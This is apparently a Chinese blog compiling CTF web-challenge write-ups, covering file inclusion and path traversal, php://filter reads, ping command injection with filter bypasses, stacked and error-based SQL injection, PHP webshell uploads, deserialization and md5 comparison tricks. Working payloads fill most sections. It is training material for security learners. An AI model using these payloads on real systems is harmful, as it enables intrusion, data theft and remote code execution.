[HCTF 2018]WarmUp–代码审计|文件包含|目录遍历

开启靶机,发现是一个大大的滑稽脸。
图一
ctrl+u看源码,发现一个source.php被注释了,那么可以想到,这个文件是可以访问的。
图二
访问这个文件,看到关键源码(就是下面的代码,这里是详细说明)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)//接收属性值并判断文件名
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单验证
if (! isset($page) || !is_string($page)) {//这里要求我们输入的必须不可为空且必须为字符串,否则返回错误
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {//在白名单内的就返回为真
return true;
}
//法一
$_page = mb_substr(//这里挺关键意思是把接收的值的第一个?前的内容截取
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {//截取后判断
return true;
}
//法二
$_page = urldecode($page);//其实和上面一样,只不过这里是url解码,那就将?编码两次(这里解一次码,服务器也会自动解一次码)其余同法一
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])//这个是三个条件(输入非空、输入的是字符串、且上面的check函数返回为true),最主要的是checkfile函数返回为真,三个条件满足则会得到flag
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];//关键的包含flag文件的函数
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

一些函数的定义:
mb_substr: 获取部分字符串。
mb_strpos: 查找字符串在另一个字符串中首次出现的位置。
in_array($needle, $haystack):needle待搜索值,haystack待搜索数组。
有了上述分析支持后,开始解题。
首先根据这段代码

1
2
3
4
5
6
7
8
9
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单验证
if (! isset($page) || !is_string($page)) {//这里要求我们输入的必须不可为空且必须为字符串,否则返回错误
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {//在白名单内的就返回为真
return true;
}

我先读取一个hint.php文件康康
图三
发现输出flag在ffffllll什么的文件(小寄巧:ffffllllaaaagggg这里flag被写了四次所以使用4或5个../ 我tk,第一次做ctf题给我整这是吧?),我们尝试读取,但是由于存在过滤,并不可直接读取,采用以下payload绕过。
法一:

1
?file=int.php?../../../../../ffffllllaaaagggg

法二(将?url编码两次):

1
?file=hint.php%253F../../../../../ffffllllaaaagggg

依此法,可获得flag
图四
图五
参考:https://blog.csdn.net/Lixunzhe0112/article/details/128716492

[ACTF2020 新生赛]Include–文件包含|协议玩法

开启靶机,发现有一个超链接,点击进去,只有”can you find out the flag?”,这里我卡了挺久,抓包也抓了;爆路径也尝试了,一无所获。
图六
先改造以下超链接(直接指向这一个文件),发现显示页面不变,说明这个超链接是直接指向flag.php的。
图七
最终参考了wp,学习到以下知识点。
1、PHP 中若通过 require()、once_require() 或 include() 、once_include() 函数去包含另一个文件,该文件在网页中均是不可见的(即使你查看网页源代码)。
2、可以发现 flag.php 页面通过 get 方式中的参数 file 来包含网站当前目录下的其他文件(如 flag.php),再加上提示 “你能找到其他 flag 吗?” ,我们可以推断,要解答该题目需要获取 flag.php 的源代码。
分析过后,我们便有了解决方法。
思路:我们可以通过将包含的文件进行转码,让浏览器无法识别这是 PHP 代码,其也就无法执行该 PHP 文件,于是将文件中的内容直接显示出来,我们将通过 PHP 伪协议来完成这一动作。
使用 PHP 伪协议将网页源代码转换为 base64 编码的格式:

1
php://filter/read=convert.base64-encode/resource=flag.php

构造payload并且访问,得到一串base64编码的数据。
图八
上网找一个在线base64解码工具即可得到flag。

[ACTF2020 新生赛]Exec–命令执行

开启靶机,发现是一个简易实现ping命令的文本输入框。
那么就是简单的命令执行,说到命令执行,那么就要思考以下几点:
1、对方是什么操作系统:windows|linux?
2、可不可以多条命令一起执行?
首先判断os,这里先抓包看,但是看不出来。
图九
那么只能盲猜,先用ipconfig再用ifconfig
这里ipconfig没反应,但是ifconfig有反应,所以必是linux系统且支持多条命令执行。
如127.0.0.1;ifconfig(推荐.;是linux中的管道符)或127.0.0.1;ifconfig。
图十
知道这一点,那么我们就可以自定义命令找flag了。
先查看当前目录,发现只有一个index.php文件,明显flag不存在于此处。
图十一
使用:”ls -al /“ 是一个在命令行中使用的命令。它的作用是列出根目录下所有文件和文件夹的详细信息。
图十二
最后查看flag(这里一定要cat /flag而不可以cat flag)
图十三

[GXYCTF2019]Ping Ping Ping–命令执行|代码审计

开启靶机,提示很明显,就是一个ip属性值接收IP地址ping。
但是依旧可以多条命令执行,但是这里用到linux的管道符”;”,原因是在网址栏操作。
那么我们先看下ip康康是否支持。
图十四
确实可以,那么就可以接着往下了。我想一步到位直接读取flag,但是发现空格被过滤了
图十五
退而求其次,绕过空格过滤
空格的绕过方法为:

1
2
3
4
5
6
7
1.$RIFS)替换
2.$IFS$1替换
3.$KIFS替换
4.%20替换
5.<和<>重定向符替换
6.%09替换
7/**/替换

全部进行实验可以发现只有$IFS$1可以绕过但同时也发现flag也被过滤
图十六
没办法,只可以读取index.php看看过滤规则
图十七
可以知道,过滤全是正则,什么大小写都不行,但存在一个变量$a,那么我们可以利用这个进行传参实现绕过。
payload:

1
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

这里打开后不会立刻看到flag,那么我们就要坚定内心,坚信自己一定没错究竟是在哪里呢,查看源码成功获取flag。
图十八
参考:https://blog.csdn.net/2301_78136321/article/details/133294740
这道题我觉得是有点恶心的,对于我来说前面已经耗费太多精力了,本想着终于获取到flag了,但是空空如也还看看源码,心态容易崩,还要继续提升。

[强网杯 2019]随便注–SQL注入|堆叠注入

开启靶机,是一个熟悉的sql注入题目(有提示)。
先判断有无注入点以及是字符型或者数字型。
这里测试出来存在注入点以及是字符型(输入1没报错,1’报错)。
图十九
!!!tips:想说一句,看到带输入框的,尽量把注入语句写到框内
继续测试,这里用or而非and(原因是前面1’错误,or后面的1=1为真,那么总体为真就会把所有数据都输出;而and只会报错输出一个)。
也就是:or爆全;and爆一个。
图二十
接着使用order by判断列数。
图二十一
图二十二
判断出来是存在两列,猜测是id号+数据。开始真正意义上的注入
先来一个union+select(大小写均是一遍)
发现存在过滤
图二十三
返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了。这里尝试过双写绕过,16进制绕过等;不过过滤机制太强,都不行。
这里技穷了,没有任何思路,看了下wp,才想到可以堆叠注入(注意使用数据库语句)。
先试着查一下数据库

1
1';show databases;#

成功查询到,说明存在堆叠注入,那么我们后面都围绕堆叠注入展开。
图二十四
再爆表

1
1';show tables;#

图二十五
可以看到当前库下有两张表(1919810931114514和words)。
先查words表中的列名

1
1';show columns from words;#

发现只有id与data两个字段,应该不存在flag,继续看下一个表先。
图二十六
注意:
对于纯数字的表名,要用``括起来
就是tableName是纯数字,需要用``包裹,比如
方式一:1’;desc `1919810931114514`;#
方式二:1’; show columns from `1919810931114514`;#
发现存在flag字段,就差一步了,加油。
图二十七
最后读取这一步,又不会了,继续借鉴。
!!!该题目的查询语句很有可能是:select id,data from words where id =,因为我们输入1,回显的是两个字段,这与words表符合,而1919810931114514表中只有一列,那怎么办呢。
4种方法:
1、多方了解,才想到改名,就是它的查询语句是selsect id,data from words where id =,那么我们令原来的words表为另一个名字,而我们的目标1919810931114514这张表改为words,那么我们查询的时候,就会带入这个带有flag的表查询,从而爆出flag。
数据库知识:
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
构造payload:把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data)。

1
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

这就实现了改名功能,只爆一个字段(id/data)不影响,然后像刚开始那样子测试有无注入点那样,直接爆出flag。
图二十八
后面三种搬运一下,做知识总结。
2、handler函数。
handler不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:HANDLER 表名 OPEN ;
查看数据: HANDLER 表名 READ next;
关闭表: HANDLER 表名 READ CLOSE;

1
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` CLOSE;#

3、预编译方式
因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:
预编译相当于定一个语句相同,参数不同的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤,格式:

1
2
3
1PREPARE 名称 FROM Sql语句 ? ;
2SET @x=xx;
EXECUTE 名称 USING @x;

例子:

1
1';PREPARE hacker from concat('s','elect', ' * from \`1919810931114514\` ');EXECUTE  hacker;#
1
2
也可以将select * from \`1919810931114514\`语句进行16进制编码,即:0x73656c656374202a2066726f6d2060313931393831303933313131343531346
1';PREPARE ck from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE ck;#

4、利用MySql预处理
使用条件:HANDLER也被过滤了。
在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。
最后总结一句话:安全与开发缺一不可。
参考:https://blog.csdn.net/qq_44640313/article/details/128308237

[SUCTF 2019]EasySQL

进入靶机,首先判断有无注入点。
输入1以上的int数据,发现有回显;而输入其他值则无回显。
图二十九
图三十
进一步测试,测试是数字型注入或者是字符行注入。

1
2
3
4
1 and 1=1#
1 or 1=1#
1' and 1=1#
1' or 1=1#

这些payload全都测试过了,无一例外,全都回显nonono。
图三十一
说明存在and过滤|输出nonono说明存在过滤,存在对某一个字符串的过滤。
既然存在注入,连盲注都不能测试了,因为盲注语句也用到and/or/updatexml等。

1
username=xiaodi'or updatexml(1,concat(0x7e,version(),0x7e),0) or'&password=123456

那就只能尝试堆叠注入了。
输入payload:

1
1;show databases;

成功爆出数据库。
图三十二
接着爆表。

1
1;show tables;

图三十三
再尝试爆表的字段

1
1;show columns from FLAG;

输出nonono,发现对flag存在过滤。
到这里,思路戛然而止,暂停略微参考一下wp。
接下来回顾一下最开始我们输入的非0数字和0与字母所回显的内容:非0数字回显1,0和字母不会回显任何内容
先了解一下||操作符:
在MySQL中,操作符||表示“或”逻辑:
command1 || command2
c1和c2其中一侧为1则取1,否则取0
这里猜测后端语句,因为只有当我们输入非零数字时才会会显出1,而0和其他全都无回显,而猜测逻辑大致是这样的:大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)
确实很大胆.真的没想到ctf的题会这样考,利用mysql的’||’的逻辑把flag藏到后面,有回显但是回显’||’前面判断为真或假的值,以这样的方式藏flag。
那么这样的话,构造payload,就把mysql中’||’的逻辑改成连接的逻辑:

1
2
3
4
5
1;set sql_mode=PIPES_AS_CONCAT;select 1
注:
(mssql中的'||'就是连接的逻辑)
1、这里需要借用到:设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)。
2、这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag。

这样就可获取到flag。
图三十四
参考:https://blog.csdn.net/m0_62851980/article/details/124083026
总结出一套做sql注入的思路
1、先判断有无注入点:把字符全试一遍,看看有无规律,找出其逻辑;
再用and/or进一步判断;
2、再爆列数;
3、联合查询,先爆库,再爆表,再爆字段,最后爆数据;
4、若存在select等过滤,用到报错盲注或堆叠注入。

[极客大挑战 2019]Secret File

打开靶机,显示xxx的秘密,我不关心,我只关心zhaoflag然后吃西瓜。
看源码,有一个超链接,点开看一下,发现跳转到另一个界面,有一个大大的SELECT;点击进去,来到一个看起来是最后一个界面的界面,抓包看一下
发现一个文件
图三十五
跳转过去,发现flag所处位置以及文件的接收方式是以file作为属性接收的,且以get方式提交。
图三十六
进入flag.php,发现是一场空欢喜。
图三十七
看不到flag,那么就又要考虑到php伪协议。

1
php://filter/read=convert.base64-encode/resource=flag.php

看到flag。
图三十八
看编码形式像base64编码,解码即可。得到flag。
图三十九

!!!发现php伪协议配合文件包含挺多的。学习一下php伪协议。

php伪协议

1、配合文件读取,即网址栏含有?file=或?filename=诸如此类的字段–前提
2、再配合文件包含,即猜测其代码存在include某一个文件–关键
3、这样,即可尝试使用php伪协议读取那个文件。
常用payload(做题暂只遇到这一种):

1
2
http://xxx.xxx.xxx/index.php?filename=php://filter/read=convert.base64-encode/resource=xxx.php
作用:读取当前文件包含的文件。

推荐阅读(详细讲解):
https://www.php.cn/faq/481803.html
https://blog.csdn.net/qq_37466661/article/details/126203437
https://blog.csdn.net/m0_56107268/article/details/127760614
但也存在限制,具体的限制看我的博客:https://fzsecurity-github.github.io/2023/10/14/wenjianbaohan/?highlight=%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB

[极客大挑战 2019]LoveSQL

嗯,我很爱sql……
进入靶机,是一个登陆界面,首先正常输入账号密码,嗯,返回一个账号密码错误的界面。那么测试有无注入点。

1
2
3
4
1 and 1=1#
1 or 1=1#
1' and 1=1#
1' or 1=1#

其中,在账号栏一行中输入1’ or 1=1#而且密码栏随便输入(以为存在先判断密码栏是否为空,再判断账号密码是否对上),发现即使不输入密码也显示出来信息。
图四十
思考,我刚开始以为是某种编码,但是尝试了很多种编码的解码,一一失败,判定为乱码,那么只能进一步注入。
前期知道为字符型get注入,那么先判定字段数。
首先测试3字段,发现正常报错(输出查询异常信息);但是输入4的时候直接报错显示不存在4这个字段。即判定3字段。

1
1' order by 4#;
1
1' order by 3#;

图四十一
图四十二
随后显示具体字段在哪个位置爆出
payload(密码随便填):

1
1' union select 1,2,3#

图四十三
这里有一个注意点:
经过测试,猜测该网站的后台代码会对接受过来的数据进行一次url解码,所以你在url栏输入payload时,你要进行url编码再填充进去。
如果你直接在账号输入栏测试则不需要。
好了,开始ggboom。
首先爆一些数据库名字,版本的相关信息。

1
1' union select 1,database(),version()#

图四十四
然后,可以尝试使用mysql注入的思路,先判断mariaDB是否存在关键的几张表。
图四十五
那么可以使用注入mysql数据库的思路。
爆库(可省略)

1
1' union select 1,2,group_concat(schema_name) from information_schema.schemata#

图四十六
爆表

1
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

图四十七
爆字段(先爆l0ve1ysq1这张表,再爆geekuser这张表)

1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

发现字段都一样
图四十八
那么爆字段值(数据)吧

1
1' union select 1,group_concat(username),group_concat(password) from geekuser#
1
1' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1#

geekuser表中数据为
图四十九
geekuser的数据还是乱码,解析不了。那么寄希望于下一张表,l0ve1ysq1表中数据为
图五十
看不全,查看源码,获取flag
图五十一
总算是一道正常的没有堆叠的注入题了…嗯,lovesql。

[极客大挑战 2019]Http

打开靶机,界面是一个正常的网页,第一件事先看源码,发现确实有一个.php文件可以访问。
图五十二
尝试访问,发现是一个warning,提示来源(Referer)必须是https://Sycsecret.buuoj.cn
图五十三
抓包修改,wp说:这里有一个注意点,那就是你加的Referer字段必须在connection字段下面,不然会报错 –为什么,就算没在下面也可以
图五十四
提示要使用浏览器Syclover,那么在user-agent字段修改
图五十五
提示要本地访问,那么添加一个X-Forwarded-For字段,值为127.0.0.1即可获取flag
图五十六
(建议康康)关于数据包的一些讲解:https://blog.csdn.net/qq_63548648/article/details/128083782

[极客大挑战 2019]Knife

打开靶机,提示菜刀不见了,还给了一句话木马,推测其网站下的目录存在有包含这个一句话木马的文件。想都不用想,连接上去就完事了。
图五十七
点击测试连接,提示连接成功,成功getshell,就可getflag。
图五十八
这么简单?不可置信,看了看源码,嗯果然是白给的shell…

[极客大挑战 2019]Upload

开启靶机,发现是一个标准的文件上传的界面(挺好看的感觉)。
e,说回正题,我们先尝试直接上传.php文件看能不能一发入魂。

显然不能,存在过滤。
那么接下来我们就要思考如何实现绕过,上传包含一句话木马的文件,直接getshell。
MIME值绕过
抓包把MIME(Content-Type)的值改为正常的图片形式。

1
2
image/png
image/jpg

还是可以识别出来,pass。

大小写混写
亲测,不可以实现绕过。
php双写|把后缀直接改为php5、phtml等格式
可以绕过对于文件名的过滤,那么判断文件后缀检验方式为黑名单检测。
但是对文件内容<?存在过滤。

接下来思考:如何绕过网站对文件内容的检测
那是不是有这样的思路:既然你对php的标记有检测,那我可不可以使用php+java混编实现绕过?

1
<script language='php'>@eval($_POST['111']);</script>

但是发现还是绕过不了。

说明服务器不仅对前端进行了过滤,还对后端文件内容头做了校验。这里我们只能用文件幻术头来绕过试试。
GIF89a-文件幻术头绕过
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。
这里上传成功了,但是双写好像不行,推测它对文件名的遍历方式是记录前面的值,取这个全部遍历完后的值与黑名单匹配。那么浏览器可能解析不了,只能把后缀改为.phtml。


上传成功后,那么就连接木马了。但这里,没有给出目录。做题做多了,这种ctf一般不会太恶心,猜测存放上传文件的文件夹目录为upload
连接成功

接下来就是愉快的找flag环节啦!
一般都在根目录下。成功获取flag。

from:
https://blog.csdn.net/m0_49025459/article/details/124723482

[ACTF2020 新生赛]Upload

挺简单,讲下思路,有一个点要注意。
开启靶机,将鼠标移动至中间,发现一个文件上传的功能。
1、直接开干,直接上传含有一句话的木马文件,发现存在白名单检测。

1
2
3
<?php 
@eval($_POST['shell']);
?>

这里我直接抓包,但是发现抓不了包,无奈我只好只用浏览器自带的抓包工具尝试是不是我的bp配置有问题,结果这一抓,让我发现了一个main.js文件,原来是前端验证,好说直接禁用js即可
2、禁用js后,继续上传木马,发现还是存在过滤,那么这里存在的是后端的过滤,这时候可以抓包了,抓包尝试绕过。
3、MIME绕过,更改为图片格式,还是被拦截。
4、文件后缀名绕过,改为php5、phtml一个一个试哪一个可以被对方网站解析,经检测,发现只有phtml这个后缀可以,
5、直接上传成功,蚁剑连接即可。

[极客大挑战 2019]BabySQL

这道题值得我好好记录一下,因为好久没练过sql(而且还存在过滤)了。
打开靶机,是一道正常的sql注入题目。
1、首先判断是字符型还是数字型
用户名输入1',如果是字符型,会报如下错误
注意红框外面的’是自带的,并不是查询语句的内容。

如果是数字型,则会爆3个单引号(数字被正常接收)
get一个小姿势:1、and一般用于判断是字符型还是数字型;2、or常用来作万能密码
2、判断是否存在注入点以及是否存在过滤

1
2
先: 1' or 1=1# -->正常
1' or 1=2# -->爆错

判断对or存在过滤(匹配到’or’,自动替换为空)–为什么可以判断对or存在过滤??
首先#后的'是没有闭合前的符号,刚开始我以为是对#存在过滤,但是如下图发现1=2#前少了个or,说明是对or存在过滤

那就双写,成功绕过过滤。

1
1' oorr 1=2#

!由于知道会把or替换为空,那么后续我们均可以以这个思路绕过对其他关键字的过滤。
3、接着判断列数

1
1' oorrder by 4#

发现对by也存在过滤,那就在by中间插入or即可(原因是它应该是正则去匹配的,且只匹配一次,那我就第一次不让他匹配到即可)。

1
1' oorrder bory 4(3)#

判断列数为3列。
4、爆数据库名字
先判断在1、2、3的哪个位置爆出数据。

1
1' unioorn seleorct 1,2,3#

爆数据库名字

1
1' unioorn seleorct 1,database(),3#


5、爆表

1
1' unioorn seleorct 1,group_concat(table_name),3 frorom infoorrmation_schema.tables wherore table_schema='geek'#


6、爆列

1
1' unioorn seleorct 1,group_concat(column_name),3 frorom infoorrmation_schema.columns wherore table_name='b4bsql'#


7、直接爆flag

1
1' unioorn seleorct 1,group_concat(username),group_concat(passwoorrd) frorom b4bsql# 

查看源码获取flag

learn by ashash

[极客大挑战 2019]PHP

打开靶机,发现网站正上方提示,猜测存在网站备份文件,毫不犹豫进行目录扫描。
但是:御剑以及kali上的dirb、nikto好像都扫不出来。
这里运用了另一款目录扫描工具:dirsearch。
安装以及使用:https://blog.csdn.net/whatday/article/details/128305168

1
python dirsearch.py -u http://target -e php -t 40

扫描过程中发现了疑似flag的文件:flag.php。

细看才发现大小为0B…..额好家伙。
接着扫描,发现了网站备份文件:www.zip,下载下来便可以代码审计了。

flag.php

1
2
3
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

很明显,骗人的。
index.php
关键是:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

应该是这里接收序列化的内容然后传输给class.php。那么关键flag相关的应该就是class.php了。
class.php
关键代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

重点代码解读:

1
2
3
4
5
1Private 是一种可见性修饰符,privatepublic不同,private修饰的方法和数据域被限定只能在自己的类中被访问,即使在同一个包中也不能被其它类访问,public则可以运用在类或者类的成员上。
private:用于声明私有变量(序列化后会多%00) public:用于声明全局变量
2、__construct()//构造函数,创建对象时调用
3、__destruct()//对象被销毁时以及调用 serialize () 触发
4、__wakeup () // 调用 unserialize (),即反序列化前触发

那么就可以构造PHP代码生成payload。

1
2
3
4
5
6
7
8
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$res=new Name();
echo serialize($res);
?>

注意将显示不出来的符号换成%00。
payload:

1
index.php?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

但输入后却不可以获取flag,思考后,发现是class.php的__wakeup()在反序列化前调用了,那么username就被换成了guest。

1
2
3
4
5
class.php:
function __wakeup(){
$this->username = 'guest';
}

所以目前需要绕过wakeup()。那么怎么绕过呢?
如果对象属性的个数的值大于真实的属性个数的时候会绕过__wakeup的执行,把对象属性的值(这里是Name)即2改为大于2的数字就可以实现绕过
优化后的payload:

1
index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

键入网址栏即可获取flag。

1、我发现根据对方网站的代码构造生成payload的代码时,对方网站的代码中若含有方法,我们而已不理这些方法,直接构造一个只含有属性值的类
2、注意各种魔术方法在什么时候被调用,从而可以实现绕过一些干扰我们的魔术方法。还有就是注意private与public

[ACTF2020 新生赛]BackupFile

这道题很莫名其妙就输出了flag,很懵逼。
题目名字叫做backupfile,中文备份文件嘛,直接目录扫描先。
扫到一个index.php.bak,打开代码审计。
方便起见,我直接在注释里面里写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";//证明满足一定条件会输出flag.php的内容

if(isset($_GET['key'])) {//以属性key接收用户键入的值
$key = $_GET['key'];//赋值给$key
if(!is_numeric($key)) {//检查变量是否为数值。如果为数值返回真;反之返回假。
exit("Just num!");//这里只允许输入纯数字
}
$key = intval($key);//将输入的值强制转为整数
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {//$key$str相等时才输出flag
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

几个函数的作用
1、is_numeric():检查变量是否为数值。如果为数值返回真;反之返回假。
2、intval():PHP中常用的一个强制类型转换函数,用于将变量的值转换为整数。
这里有点懵,我刚开始是将$str的值直接复制下来赋值给$key的,但是存在验证,获取flag失败。
但是后面我就想:如果输入纯数字会怎么样,那我就直接把123后面的那一串删掉了,没想到直接爆出flag。
这里我上网查阅了资料才理解
原来: == 是一个弱比较(高版本php弱比较没了)
===(强比较) 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。(类型不相等直接不比较值)
== 在进行比较的时候,会先将字符串类型转化成相同,再比较。(把类型转为相等再比较)
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行。
所以这里str = “123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”在和数字比较时,str就转换称了123
所以str==flag。这里intval()也发挥了重要作用,将$key取整变成int型

[RoarCTF 2019]Easy Calc

[极客大挑战 2019]BuyFlag

开启靶机,是一个简易的网站页面,先看源码吧。
存在一个”pay.php”,估计是关键的物件,点进去看一下。
依然是个普通的界面,继续查看源码,这一看不要紧,看到关键解题信息

这段代码估计是pay.php的源码,这里泄露了。
意思是以属性password接收,之后强制转换为数字,如果=404可能会输出flag。
这里直接抓包,把get提交方式改为post,加上password。

但是发现还是没有用户权限,那就尝试把cookie值的0改为1(做题多了自然会知道--迪师傅)
成功连上用户,但是发现数据没有传送成功。

这里因为前面是get,你直接修改方法为post但还是缺少必要数据
加上

1
Content-Type: application/x-www-form-urlencoded

接着发包,成功传送,但是发现不可为纯数字,突然想到不必传送纯数字,因为后面的intval()会把我们输入的password强制转为整数哈哈。

成功登录,但发现好像需要我们给钱。那就给他!

发现数字过长,那就改短点?

tnnd,戏耍我?上网寻求大佬的帮助,发现这里应该是使用strcmp()函数比较字符串的
那我把字符串改为数组,然后输入任意价格不就行了?
我直接0元购,bug到flag。

总结
1、数据包提交方式由get->post:首先把头部的get改为post,然后加上Content-Type: application/x-www-form-urlencoded,在数据包的最后加上你要发送的数据。
2、flag不是一遍就可以得出来的,要敢于利用对方网站代码的漏洞进行尝试。

[极客大挑战 2019]HardSQL

这道题是报错盲注
开启靶机,依然是登录框。
密码随意填,用户名填1|1’测试是字符型还是数字型。
这里填1’的时候报错,证明是字符型。

这里常规测试:

1
1' or 1=1#

发现存在字符被过滤。
初步猜测是对空格字符存在过滤,应该是空格后不能有数据。
常规的联合注入不适用(这里也用了sqlmap跑了一下,map说测试不出注入点hh)
那么可以采用报错盲注的方式。

盲注

updatexml()
首先先测试updatexml函数可不可用。

1
d'or(updatexml(1,concat(0x7e,database()),1))#

爆数据库名字

成功爆出,那么这个思路可以继续使用。
爆数据库版本

1
d'or(updatexml(1,concat(0x7e,version()),1))#


爆表

1
d'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#


爆字段

1
d'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#


爆flag

1
d'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))),1))#

成功爆出flag,但是很奇怪,只有一半(输出限制)。
那么先爆左边

1
d'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1))),1))#


再爆右边

1
d'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))),1))#


注意:这里的右半部分可能会包括左半部分,看清楚再拼接
这样即可获取flag。

[BJDCTF2020]Easy MD5

1、开启靶机,是一个简单的文本输入框,这里我先一顿乱输入,发现一点反应都没有,查看源代码也没有可以利用地方,那么就尝试抓包。
发现与题目搭边的md5关键字

2、那么这里首先了解一下md5函数的意义。
md5(string,raw)
参数以及描述
string 必需。要计算的字符串。
raw 可选。
默认不写为FALSE,32位16进制的字符串
TRUE,16位原始二进制格式的字符串
32位16进制字符串的意思是:将MD5加密得到的128 位长度的”指纹信息”,以每4位为一组,分为32组,每组以转换为16进制,进行转换得到一个32位的字符串。
总的来说就是我们平时看到的MD5加密的结果
16位原始二进制格式的字符串的意思是:将MD5加密得到的128 位长度的”指纹信息”分组转化为16位的一个字符串,然后两个字符为一组,依照ACILL码转化为字符串。
可以这样理解:raw为true时,相当于在raw值为false时,再进行一次计算
3、我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的
为什么有这个思路?
因为首先看到函数的raw字段值为true,所以就是把md5加密后再输出成一个8位16进制,而前几位是276f7227,276f7227经过这道题目的函数处理后,会还原成’or’,相当于是万能密码了。
https://blog.csdn.net/weixin_73560599/article/details/131998887
https://www.cnblogs.com/Rammstein-and-rock/p/16513692.html
借助其他师傅,发现了符合条件的字符串:ffifdyop,做md5后:276f722736c95d99e921722cf9ed621c,然后就会实现绕过。
4、在框内输入ffifdyop
成功跳转到另一个界面

查看源码

5、数组绕过
md5不能加密数组,传入数组会报错,但会继续执行并且返回结果为null
比如将两个数组的md5值进行比较
md5(a[]=1) === md5(b[]=1)
由于md5函数无法处理数组,会返回null,所以md5加密后的结果是下面这样
null === null
结果返回true,也就是说数组的md5值进行比较时,结果相等
数组绕过不只可以绕过弱类型比较,还可以绕过强类型比较(===)
进行数组绕过
?a[]=1&b[]=2,成功跳转

6、同样,只不过是以post传输数据

主要是第一步比较难以想出来,涨知识了
md5相关绕过学习文章
https://blog.csdn.net/LYJ20010728/article/details/116779357

[RoarCTF 2019]Easy Calc

感谢这位师傅的文章:https://blog.csdn.net/weixin_52116519/article/details/124212036
1、前置知识
原理1:PHP的字符串解析特性
PHP将查询字符串(在URL或正文中)转换为内部$_GET或关联数组$_POST。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如:
如何实现:/?foo=bar变成Array([foo]=> “bar”)。
/? foo=bar变成Array([foo]=> “bar”)。 //?号后有一个空格
